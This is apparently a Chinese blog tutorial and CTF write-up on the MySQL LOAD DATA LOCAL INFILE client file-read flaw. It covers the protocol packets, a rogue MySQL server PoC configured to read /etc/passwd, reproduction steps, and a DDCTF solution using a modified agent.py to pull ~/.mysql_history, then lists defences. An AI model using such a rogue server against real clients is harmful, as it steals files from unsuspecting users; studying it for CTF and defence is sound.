前言
最近打了 DDCTF
和 国赛
,发现都考了一个知识点,也就是 MysqlLocalInfile客户端文件读取
这个漏洞,下面来详细的学习一个这个漏洞。
漏洞形成原因
此漏洞形成的主要原因在于 LOAD DATA INFILE
这个语法上。在官方文档中的介绍为:
该LOAD DATA语句以非常高的速度将文本文件中的行读入表中。 LOAD DATA是补充 SELECT ... INTO OUTFILE。请参见[第13.2.10.1节“SELECT ... INTO语法”(https://dev.mysql.com/doc/refman/8.0/en/select-into.html)]。)要将表中的数据写入文件,请使用 SELECT ... INTO OUTFILE。要将文件读回表中,请使用 LOAD DATA。两个语句的FIELDS和LINES子句的语法 相同。
以下为 LOAD DATA INFILE
的两种用法:
从本地服务器导入数据到规定的表里
首先我在本地的 /var/lib/mysqld/1.txt
中添加内容 Youhave a girlfriend
,执行命令 load data infile"/var/lib/mysql-files/1.txt"intotable users(name)
,成功添加数据.
从客户端导入数据到服务器上规定的表中
客户端:Ubuntu18.04 IP
服务端:Centos7
在客户端执行命令: mysql-h148.70.151.111-u root-p-D test-e"load data local infile '/etc/passwd' into table user fields terminated by ','";
,在服务端查看是否添加成果数据
数据成功回显。而造成漏洞的也是第二点操作,通过客户端与服务端的连接来读取任意文件。
从数据包传递层面分析客户端与服务端的文件传输
分析环境:Ubuntu18.04
mysql 5.7
本地Mysql输入命令: mysql-u root-p-h127.0.0.1
同时tcpdump抓取数据包: tcpdump-i lo-l port3306-w los.pcap
下面是抓到的数据包:
我们来分析一下客户端与服务端的 load datalocal
过程
1.服务器向客户端发送 Greeting
包,包含服务器banner信息(协议线程ID,版本,mysql认证类型等)
2.客户端向服务端发送 LoginRequests
数据包,包含客户端的banner信息,以及 LoadDataLocal
选项和用户名以及md5加密过的密码
3.Mysql客户端发送请求,探测目标平台的指纹信息,以及进行初始化查询(大多数Mysql客户端在握手后都至少会发送一次请求)这个请求是一个很关键的步骤,在下面我们还会继续解释的。
4.客户端发起Request Query
5.服务端响应对应客户端请求文件名的数据包
6.客户端将所请求文件内容发给服务端
漏洞利用
产生的漏洞为:在客户端发送至少一次查询后,服务端返回Response TABULAR数据包,告诉客户端我们想要读取文件的文件名(实现任意文件读取),由于客户端对于服务端的完全信任,我们就读取到了我们想要的文件。
原理:在Mysql协议中,客户端是不会储存自身请求的,而是通过服务端的响应来执行操作。
利用:我们可以自己去构造一个恶意的Mysql的服务器来实现读取客户端中我们想要的文件,构造服务器最重要的的部分是:在任意时候都能回复一个file-transfer请求,而不是只在客户端发送LOAD
DATA LOCAL数据包时才去响应回复file-transfer请求。所以,只需要客户端在连接服务端后发送一个查询请求,服务端立刻回复一个 file-transfer
,即可读取到客户端的本地文件,而常见的 MySQL 客户端都会在建立连接后发送一个请求用来判断服务端的指纹信息(如 select@@version_commentlimit1
),这样就达到了我们想要的要求。
所以恶意服务器与客户端交互的流程如下:
构造File-Transfer数据包
在官方文档中是有构造示范的
我们可以通过官方文档来具体了解一下这个数据包的结构到底是怎么样的
通过这张图, 0c
代表着数据包的长度, 000001
代表着数据包的序列号,从 fb
开始,后面的内容为返回到客户端的文件名。
Poc
https://github.com/allyshka/Rogue-MySql-Server
file=('
/etc/passwd',
)
通过更改file括号中的值可以读取我们想要读到的文件。
漏洞复现
实验环境:
攻击机:Centos7 Mysql5.7
靶机:Ubuntu18.04 Mysql5.7
1.首先先将本机的mysql服务关闭: service mysqld stop
2.在服务器上运行恶意服务器脚本: python rogue_mysql_ server.py
3.靶机远程连接攻击机数据库: mysql-hYour_vps-u root-p-P3306;
4.成功得到靶机中 /etc/passwd
的敏感数据
CTF中的应用
这次的DDCTF以及国赛中都出现了Mysql客户端任意文件读取的这个漏洞.
下面对利用这个漏洞解答一下DDCTF
首先进入页面发现
扫描器正好符合我们的漏洞原理,在扫描的过程中用弱口令进行 3306端口
的爆破登陆,所以我们可以利用构造恶意服务器来读取扫描器中的文件。
先在服务器上布置 agent.py
进行扫描,发现回显,未扫描出弱口令,如果不布置 agent.py
,回显,不存在 mysql
服务 ,修改一下 agent.py
源码,让其以为我们一直开着 mysql
。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("UA :", self.headers.getheaders('user-agent'))
print("self.headers :", self.headers)
print(")
self.send_response(404)
self.send_header("Set-Cookie", "foo=flag")
self.end_headers()
result = self._func()
return_str = "mysqld"
self.wfile.write(return_str)
# self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("
self.send_response(404)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
return_str = "mysqld"
self.wfile.write(return_str)
# self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
在服务器上运行这个脚本,再开启我们的 mysql
伪造恶意服务器,读取一下 ~/.mysql_history
得到 Flag
回显
防御手段
避免使用
local
读取本地文件使用
--ssl-mode=VERIFY_IDENTITY
来建立可信的连接。